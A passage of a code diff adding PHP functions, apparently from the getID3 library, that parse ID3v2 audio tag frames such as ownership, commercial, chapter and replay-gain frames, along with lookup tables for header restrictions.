                              + // Buffer size $xx xx xx + // Embedded info flag %0000000x + // Offset to next tag $xx xx xx xx + + $frame_offset = 0; + $parsedFrame['buffersize'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 3)); + $frame_offset += 3; + + $frame_embeddedinfoflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['flags']['embededinfo'] = (bool) substr($frame_embeddedinfoflags, 7, 1); + $parsedFrame['nexttagoffset'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); + unset($parsedFrame['data']); + + + } elseif (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRM')) { // 4.20 Encrypted meta frame (ID3v2.2 only) + // There may be more than one 'CRM' frame in a tag, + // but only one with the same 'owner identifier' + //
                              + // Owner identifier $00 (00) + // Content/explanation $00 (00) + // Encrypted datablock + + $frame_offset = 0; + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + $frame_offset = $frame_terminatorpos + strlen("\x00"); + + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); + $frame_offset = $frame_terminatorpos + strlen("\x00"); + + $parsedFrame['ownerid'] = $frame_ownerid; + $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'AENC')) || // 4.19 AENC Audio encryption + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRA'))) { // 4.21 CRA Audio encryption + // There may be more than one 'AENC' frames in a tag, + // but only one with the same 'Owner identifier' + //
                              + // Owner identifier $00 + // Preview start $xx xx + // Preview length $xx xx + // Encryption info + + $frame_offset = 0; + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + if (ord($frame_ownerid) === 0) { + $frame_ownerid = ''; + } + $frame_offset = $frame_terminatorpos + strlen("\x00"); + $parsedFrame['ownerid'] = $frame_ownerid; + $parsedFrame['previewstart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); + $frame_offset += 2; + $parsedFrame['previewlength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); + $frame_offset += 2; + $parsedFrame['encryptioninfo'] = (string) substr($parsedFrame['data'], $frame_offset); + unset($parsedFrame['data']); + + + } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'LINK')) || // 4.20 LINK Linked information + (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'LNK'))) { // 4.22 LNK Linked information + // There may be more than one 'LINK' frame in a tag, + // but only one with the same contents + //
                              + // ID3v2.3+ => Frame identifier $xx xx xx xx + // ID3v2.2 => Frame identifier $xx xx xx + // URL $00 + // ID and additional data + + $frame_offset = 0; + if ($id3v2_majorversion == 2) { + $parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 3); + $frame_offset += 3; + } else { + $parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 4); + $frame_offset += 4; + } + + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_url = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + if (ord($frame_url) === 0) { + $frame_url = ''; + } + $frame_offset = $frame_terminatorpos + strlen("\x00"); + $parsedFrame['url'] = $frame_url; + + $parsedFrame['additionaldata'] = (string) substr($parsedFrame['data'], $frame_offset); + if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) { + $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback_iso88591_utf8($parsedFrame['url']); + } + unset($parsedFrame['data']); + + + } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POSS')) { // 4.21 POSS Position synchronisation frame (ID3v2.3+ only) + // There may only be one 'POSS' frame in each tag + // + // Time stamp format $xx + // Position $xx (xx ...) + + $frame_offset = 0; + $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['position'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset)); + unset($parsedFrame['data']); + + + } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USER')) { // 4.22 USER Terms of use (ID3v2.3+ only) + // There may be more than one 'Terms of use' frame in a tag, + // but only one with the same 'Language' + //
                              + // Text encoding $xx + // Language $xx xx xx + // The actual text + + $frame_offset = 0; + $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { + $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); + } + $frame_language = substr($parsedFrame['data'], $frame_offset, 3); + $frame_offset += 3; + $parsedFrame['language'] = $frame_language; + $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); + $parsedFrame['encodingid'] = $frame_textencoding; + $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); + + $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); + $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding)); + if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { + $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); + } + unset($parsedFrame['data']); + + + } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'OWNE')) { // 4.23 OWNE Ownership frame (ID3v2.3+ only) + // There may only be one 'OWNE' frame in a tag + //
                              + // Text encoding $xx + // Price paid $00 + // Date of purch. + // Seller + + $frame_offset = 0; + $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { + $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); + } + $parsedFrame['encodingid'] = $frame_textencoding; + $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); + + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_pricepaid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + $frame_offset = $frame_terminatorpos + strlen("\x00"); + + $parsedFrame['pricepaid']['currencyid'] = substr($frame_pricepaid, 0, 3); + $parsedFrame['pricepaid']['currency'] = $this->LookupCurrencyUnits($parsedFrame['pricepaid']['currencyid']); + $parsedFrame['pricepaid']['value'] = substr($frame_pricepaid, 3); + + $parsedFrame['purchasedate'] = substr($parsedFrame['data'], $frame_offset, 8); + if ($this->IsValidDateStampString($parsedFrame['purchasedate'])) { + $parsedFrame['purchasedateunix'] = mktime (0, 0, 0, substr($parsedFrame['purchasedate'], 4, 2), substr($parsedFrame['purchasedate'], 6, 2), substr($parsedFrame['purchasedate'], 0, 4)); + } + $frame_offset += 8; + + $parsedFrame['seller'] = (string) substr($parsedFrame['data'], $frame_offset); + $parsedFrame['seller'] = $this->RemoveStringTerminator($parsedFrame['seller'], $this->TextEncodingTerminatorLookup($frame_textencoding)); + unset($parsedFrame['data']); + + + } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMR')) { // 4.24 COMR Commercial frame (ID3v2.3+ only) + // There may be more than one 'commercial frame' in a tag, + // but no two may be identical + //
                              + // Text encoding $xx + // Price string $00 + // Valid until + // Contact URL $00 + // Received as $xx + // Name of seller $00 (00) + // Description $00 (00) + // Picture MIME type $00 + // Seller logo + + $frame_offset = 0; + $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); + if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { + $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); + $frame_textencoding_terminator = "\x00"; + } + + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_pricestring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + $frame_offset = $frame_terminatorpos + strlen("\x00"); + $frame_rawpricearray = explode('/', $frame_pricestring); + foreach ($frame_rawpricearray as $key => $val) { + $frame_currencyid = substr($val, 0, 3); + $parsedFrame['price'][$frame_currencyid]['currency'] = $this->LookupCurrencyUnits($frame_currencyid); + $parsedFrame['price'][$frame_currencyid]['value'] = substr($val, 3); + } + + $frame_datestring = substr($parsedFrame['data'], $frame_offset, 8); + $frame_offset += 8; + + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_contacturl = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + $frame_offset = $frame_terminatorpos + strlen("\x00"); + + $frame_receivedasid = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + + $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); + if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { + $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 + } + $frame_sellername = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + if (ord($frame_sellername) === 0) { + $frame_sellername = ''; + } + $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); + + $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); + if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { + $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 + } + $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); + $frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator); + + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + $frame_offset = $frame_terminatorpos + strlen("\x00"); + + $frame_sellerlogo = substr($parsedFrame['data'], $frame_offset); + + $parsedFrame['encodingid'] = $frame_textencoding; + $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); + + $parsedFrame['pricevaliduntil'] = $frame_datestring; + $parsedFrame['contacturl'] = $frame_contacturl; + $parsedFrame['receivedasid'] = $frame_receivedasid; + $parsedFrame['receivedas'] = $this->COMRReceivedAsLookup($frame_receivedasid); + $parsedFrame['sellername'] = $frame_sellername; + $parsedFrame['mime'] = $frame_mimetype; + $parsedFrame['logo'] = $frame_sellerlogo; + unset($parsedFrame['data']); + + + } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ENCR')) { // 4.25 ENCR Encryption method registration (ID3v2.3+ only) + // There may be several 'ENCR' frames in a tag, + // but only one containing the same symbol + // and only one containing the same owner identifier + //
                              + // Owner identifier $00 + // Method symbol $xx + // Encryption data + + $frame_offset = 0; + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + if (ord($frame_ownerid) === 0) { + $frame_ownerid = ''; + } + $frame_offset = $frame_terminatorpos + strlen("\x00"); + + $parsedFrame['ownerid'] = $frame_ownerid; + $parsedFrame['methodsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); + + + } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GRID')) { // 4.26 GRID Group identification registration (ID3v2.3+ only) + + // There may be several 'GRID' frames in a tag, + // but only one containing the same symbol + // and only one containing the same owner identifier + //
                              + // Owner identifier $00 + // Group symbol $xx + // Group dependent data + + $frame_offset = 0; + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + if (ord($frame_ownerid) === 0) { + $frame_ownerid = ''; + } + $frame_offset = $frame_terminatorpos + strlen("\x00"); + + $parsedFrame['ownerid'] = $frame_ownerid; + $parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); + + + } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PRIV')) { // 4.27 PRIV Private frame (ID3v2.3+ only) + // The tag may contain more than one 'PRIV' frame + // but only with different contents + //
                              + // Owner identifier $00 + // The private data + + $frame_offset = 0; + $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); + $frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); + if (ord($frame_ownerid) === 0) { + $frame_ownerid = ''; + } + $frame_offset = $frame_terminatorpos + strlen("\x00"); + + $parsedFrame['ownerid'] = $frame_ownerid; + $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); + + + } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SIGN')) { // 4.28 SIGN Signature frame (ID3v2.4+ only) + // There may be more than one 'signature frame' in a tag, + // but no two may be identical + //
                              + // Group symbol $xx + // Signature + + $frame_offset = 0; + $parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset); + + + } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SEEK')) { // 4.29 SEEK Seek frame (ID3v2.4+ only) + // There may only be one 'seek frame' in a tag + //
                              + // Minimum offset to next tag $xx xx xx xx + + $frame_offset = 0; + $parsedFrame['data'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); + + + } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'ASPI')) { // 4.30 ASPI Audio seek point index (ID3v2.4+ only) + // There may only be one 'audio seek point index' frame in a tag + //
                              + // Indexed data start (S) $xx xx xx xx + // Indexed data length (L) $xx xx xx xx + // Number of index points (N) $xx xx + // Bits per index point (b) $xx + // Then for every index point the following data is included: + // Fraction at index (Fi) $xx (xx) + + $frame_offset = 0; + $parsedFrame['datastart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); + $frame_offset += 4; + $parsedFrame['indexeddatalength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); + $frame_offset += 4; + $parsedFrame['indexpoints'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); + $frame_offset += 2; + $parsedFrame['bitsperpoint'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); + $frame_bytesperpoint = ceil($parsedFrame['bitsperpoint'] / 8); + for ($i = 0; $i < $parsedFrame['indexpoints']; $i++) { + $parsedFrame['indexes'][$i] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesperpoint)); + $frame_offset += $frame_bytesperpoint; + } + unset($parsedFrame['data']); + + } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RGAD')) { // Replay Gain Adjustment + // http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html + // There may only be one 'RGAD' frame in a tag + //
                              + // Peak Amplitude $xx $xx $xx $xx + // Radio Replay Gain Adjustment %aaabbbcd %dddddddd + // Audiophile Replay Gain Adjustment %aaabbbcd %dddddddd + // a - name code + // b - originator code + // c - sign bit + // d - replay gain adjustment + + $frame_offset = 0; + $parsedFrame['peakamplitude'] = getid3_lib::BigEndian2Float(substr($parsedFrame['data'], $frame_offset, 4)); + $frame_offset += 4; + foreach (array('track','album') as $rgad_entry_type) { + $rg_adjustment_word = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); + $frame_offset += 2; + $parsedFrame['raw'][$rgad_entry_type]['name'] = ($rg_adjustment_word & 0xE000) >> 13; + $parsedFrame['raw'][$rgad_entry_type]['originator'] = ($rg_adjustment_word & 0x1C00) >> 10; + $parsedFrame['raw'][$rgad_entry_type]['signbit'] = ($rg_adjustment_word & 0x0200) >> 9; + $parsedFrame['raw'][$rgad_entry_type]['adjustment'] = ($rg_adjustment_word & 0x0100); + } + $parsedFrame['track']['name'] = getid3_lib::RGADnameLookup($parsedFrame['raw']['track']['name']); + $parsedFrame['track']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['track']['originator']); + $parsedFrame['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['track']['adjustment'], $parsedFrame['raw']['track']['signbit']); + $parsedFrame['album']['name'] = getid3_lib::RGADnameLookup($parsedFrame['raw']['album']['name']); + $parsedFrame['album']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['album']['originator']); + $parsedFrame['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['album']['adjustment'], $parsedFrame['raw']['album']['signbit']); + + $info['replay_gain']['track']['peak'] = $parsedFrame['peakamplitude']; + $info['replay_gain']['track']['originator'] = $parsedFrame['track']['originator']; + $info['replay_gain']['track']['adjustment'] = $parsedFrame['track']['adjustment']; + $info['replay_gain']['album']['originator'] = $parsedFrame['album']['originator']; + $info['replay_gain']['album']['adjustment'] = $parsedFrame['album']['adjustment']; + + unset($parsedFrame['data']); + + } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CHAP')) { // CHAP Chapters frame (ID3v2.3+ only) + // http://id3.org/id3v2-chapters-1.0 + // (10 bytes) + // Element ID $00 + // Start time $xx xx xx xx + // End time $xx xx xx xx + // Start offset $xx xx xx xx + // End offset $xx xx xx xx + // + + $frame_offset = 0; + @list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2); + $frame_offset += strlen($parsedFrame['element_id']."\x00"); + $parsedFrame['time_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); + $frame_offset += 4; + $parsedFrame['time_end'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); + $frame_offset += 4; + if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") { + // "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized." + $parsedFrame['offset_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); + } + $frame_offset += 4; + if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") { + // "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized." + $parsedFrame['offset_end'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); + } + $frame_offset += 4; + + if ($frame_offset < strlen($parsedFrame['data'])) { + $parsedFrame['subframes'] = array(); + while ($frame_offset < strlen($parsedFrame['data'])) { + // + $subframe = array(); + $subframe['name'] = substr($parsedFrame['data'], $frame_offset, 4); + $frame_offset += 4; + $subframe['size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); + $frame_offset += 4; + $subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); + $frame_offset += 2; + if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) { + $this->warning('CHAP subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)'); + break; + } + $subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']); + $frame_offset += $subframe['size']; + + $subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1)); + $subframe['text'] = substr($subframe_rawdata, 1); + $subframe['encoding'] = $this->TextEncodingNameLookup($subframe['encodingid']); + $encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text'])); + switch (substr($encoding_converted_text, 0, 2)) { + case "\xFF\xFE": + case "\xFE\xFF": + switch (strtoupper($info['id3v2']['encoding'])) { + case 'ISO-8859-1': + case 'UTF-8': + $encoding_converted_text = substr($encoding_converted_text, 2); + // remove unwanted byte-order-marks + break; + default: + // ignore + break; + } + break; + default: + // do not remove BOM + break; + } + + switch ($subframe['name']) { + case 'TIT2': + $parsedFrame['chapter_name'] = $encoding_converted_text; + $parsedFrame['subframes'][] = $subframe; + break; + case 'TIT3': + $parsedFrame['chapter_description'] = $encoding_converted_text; + $parsedFrame['subframes'][] = $subframe; + break; + case 'WXXX': + list($subframe['chapter_url_description'], $subframe['chapter_url']) = explode("\x00", $encoding_converted_text, 2); + $parsedFrame['chapter_url'][$subframe['chapter_url_description']] = $subframe['chapter_url']; + $parsedFrame['subframes'][] = $subframe; + break; + case 'APIC': + if (preg_match('#^([^\\x00]+)*\\x00(.)([^\\x00]+)*\\x00(.+)$#s', $subframe['text'], $matches)) { + list($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata) = $matches; + $subframe['image_mime'] = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_mime)); + $subframe['picture_type'] = $this->APICPictureTypeLookup($subframe_apic_picturetype); + $subframe['description'] = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_description)); + if (strlen($this->TextEncodingTerminatorLookup($subframe['encoding'])) == 2) { + // the null terminator between "description" and "picture data" could be either 1 byte (ISO-8859-1, UTF-8) or two bytes (UTF-16) + // the above regex assumes one byte, if it's actually two then strip the second one here + $subframe_apic_picturedata = substr($subframe_apic_picturedata, 1); + } + $subframe['data'] = $subframe_apic_picturedata; + unset($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata); + unset($subframe['text'], $parsedFrame['text']); + $parsedFrame['subframes'][] = $subframe; + $parsedFrame['picture_present'] = true; + } else { + $this->warning('ID3v2.CHAP subframe #'.(count($parsedFrame['subframes']) + 1).' "'.$subframe['name'].'" not in expected format'); + } + break; + default: + $this->warning('ID3v2.CHAP subframe "'.$subframe['name'].'" not handled (supported: TIT2, TIT3, WXXX, APIC)'); + break; + } + } + unset($subframe_rawdata, $subframe, $encoding_converted_text); + unset($parsedFrame['data']); // debatable whether this this be here, without it the returned structure may contain a large amount of duplicate data if chapters contain APIC + } + + $id3v2_chapter_entry = array(); + foreach (array('id', 'time_begin', 'time_end', 'offset_begin', 'offset_end', 'chapter_name', 'chapter_description', 'chapter_url', 'picture_present') as $id3v2_chapter_key) { + if (isset($parsedFrame[$id3v2_chapter_key])) { + $id3v2_chapter_entry[$id3v2_chapter_key] = $parsedFrame[$id3v2_chapter_key]; + } + } + if (!isset($info['id3v2']['chapters'])) { + $info['id3v2']['chapters'] = array(); + } + $info['id3v2']['chapters'][] = $id3v2_chapter_entry; + unset($id3v2_chapter_entry, $id3v2_chapter_key); + + + } elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CTOC')) { // CTOC Chapters Table Of Contents frame (ID3v2.3+ only) + // http://id3.org/id3v2-chapters-1.0 + // (10 bytes) + // Element ID $00 + // CTOC flags %xx + // Entry count $xx + // Child Element ID $00 /* zero or more child CHAP or CTOC entries */ + // + + $frame_offset = 0; + @list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2); + $frame_offset += strlen($parsedFrame['element_id']."\x00"); + $ctoc_flags_raw = ord(substr($parsedFrame['data'], $frame_offset, 1)); + $frame_offset += 1; + $parsedFrame['entry_count'] = ord(substr($parsedFrame['data'], $frame_offset, 1)); + $frame_offset += 1; + + $terminator_position = null; + for ($i = 0; $i < $parsedFrame['entry_count']; $i++) { + $terminator_position = strpos($parsedFrame['data'], "\x00", $frame_offset); + $parsedFrame['child_element_ids'][$i] = substr($parsedFrame['data'], $frame_offset, $terminator_position - $frame_offset); + $frame_offset = $terminator_position + 1; + } + + $parsedFrame['ctoc_flags']['ordered'] = (bool) ($ctoc_flags_raw & 0x01); + $parsedFrame['ctoc_flags']['top_level'] = (bool) ($ctoc_flags_raw & 0x03); + + unset($ctoc_flags_raw, $terminator_position); + + if ($frame_offset < strlen($parsedFrame['data'])) { + $parsedFrame['subframes'] = array(); + while ($frame_offset < strlen($parsedFrame['data'])) { + // + $subframe = array(); + $subframe['name'] = substr($parsedFrame['data'], $frame_offset, 4); + $frame_offset += 4; + $subframe['size'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); + $frame_offset += 4; + $subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2)); + $frame_offset += 2; + if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) { + $this->warning('CTOS subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)'); + break; + } + $subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']); + $frame_offset += $subframe['size']; + + $subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1)); + $subframe['text'] = substr($subframe_rawdata, 1); + $subframe['encoding'] = $this->TextEncodingNameLookup($subframe['encodingid']); + $encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));; + switch (substr($encoding_converted_text, 0, 2)) { + case "\xFF\xFE": + case "\xFE\xFF": + switch (strtoupper($info['id3v2']['encoding'])) { + case 'ISO-8859-1': + case 'UTF-8': + $encoding_converted_text = substr($encoding_converted_text, 2); + // remove unwanted byte-order-marks + break; + default: + // ignore + break; + } + break; + default: + // do not remove BOM + break; + } + + if (($subframe['name'] == 'TIT2') || ($subframe['name'] == 'TIT3')) { + if ($subframe['name'] == 'TIT2') { + $parsedFrame['toc_name'] = $encoding_converted_text; + } elseif ($subframe['name'] == 'TIT3') { + $parsedFrame['toc_description'] = $encoding_converted_text; + } + $parsedFrame['subframes'][] = $subframe; + } else { + $this->warning('ID3v2.CTOC subframe "'.$subframe['name'].'" not handled (only TIT2 and TIT3)'); + } + } + unset($subframe_rawdata, $subframe, $encoding_converted_text); + } + + } + + return true; + } + + /** + * @param string $data + * + * @return string + */ + public function DeUnsynchronise($data) { + return str_replace("\xFF\x00", "\xFF", $data); + } + + /** + * @param int $index + * + * @return string + */ + public function LookupExtendedHeaderRestrictionsTagSizeLimits($index) { + static $LookupExtendedHeaderRestrictionsTagSizeLimits = array( + 0x00 => 'No more than 128 frames and 1 MB total tag size', + 0x01 => 'No more than 64 frames and 128 KB total tag size', + 0x02 => 'No more than 32 frames and 40 KB total tag size', + 0x03 => 'No more than 32 frames and 4 KB total tag size', + ); + return (isset($LookupExtendedHeaderRestrictionsTagSizeLimits[$index]) ? $LookupExtendedHeaderRestrictionsTagSizeLimits[$index] : ''); + } + + /** + * @param int $index + * + * @return string + */ + public function LookupExtendedHeaderRestrictionsTextEncodings($index) { + static $LookupExtendedHeaderRestrictionsTextEncodings = array( + 0x00 => 'No restrictions', + 0x01 => 'Strings are only encoded with ISO-8859-1 or UTF-8', + ); + return (isset($LookupExtendedHeaderRestrictionsTextEncodings[$index]) ? $LookupExtendedHeaderRestrictionsTextEncodings[$index] : ''); + } + + /** + * @param int $index + * + * @return string + */ + public function LookupExtendedHeaderRestrictionsTextFieldSize($index) { + static $LookupExtendedHeaderRestrictionsTextFieldSize = array( + 0x00 => 'No restrictions', + 0x01 => 'No string is longer than 1024 characters', + 0x02 => 'No string is longer than 128 characters', + 0x03 => 'No string is longer than 30 characters', + ); + return (isset($LookupExtendedHeaderRestrictionsTextFieldSize[$index]) ? $LookupExtendedHeaderRestrictionsTextFieldSize[$index] : ''); + } + + /** + * @param int $index + * + * @return string + */ + public function LookupExtendedHeaderRestrictionsImageEncoding($index) { + static $LookupExtendedHeaderRestrictionsImageEncoding = array( + 0x00 => 'No restrictions', + 0x01 => 'Images are encoded only with PNG or JPEG', + ); + return (isset($LookupExtendedHeaderRestrictionsImageEncoding[$index]) ? $LookupExtendedHeaderRestrictionsImageEncoding[$index] : ''); + } + + /** + * @param int $index + * + * @return string + */ + public function LookupExtendedHeaderRestrictionsImageSizeSize($index) { + static $LookupExtendedHeaderRestrictionsImageSizeSize = array( + 0x00 => 'No restrictions', + 0x01 => 'All images are 256x256 pixels or smaller', + 0x02 => 'All images are 64x64 pixels or smaller', + 0x03 => 'All images are exactly 64x64 pixels, unless required otherwise', + ); + return (isset($LookupExtendedHeaderRestrictionsImageSizeSize[$index]) ? $LookupExtendedHeaderRestrictionsImageSizeSize[$index] : ''); + } + + /** + * @param string $currencyid + * + * @return string + */ + public function LookupCurrencyUnits($currencyid) { + + $begin = 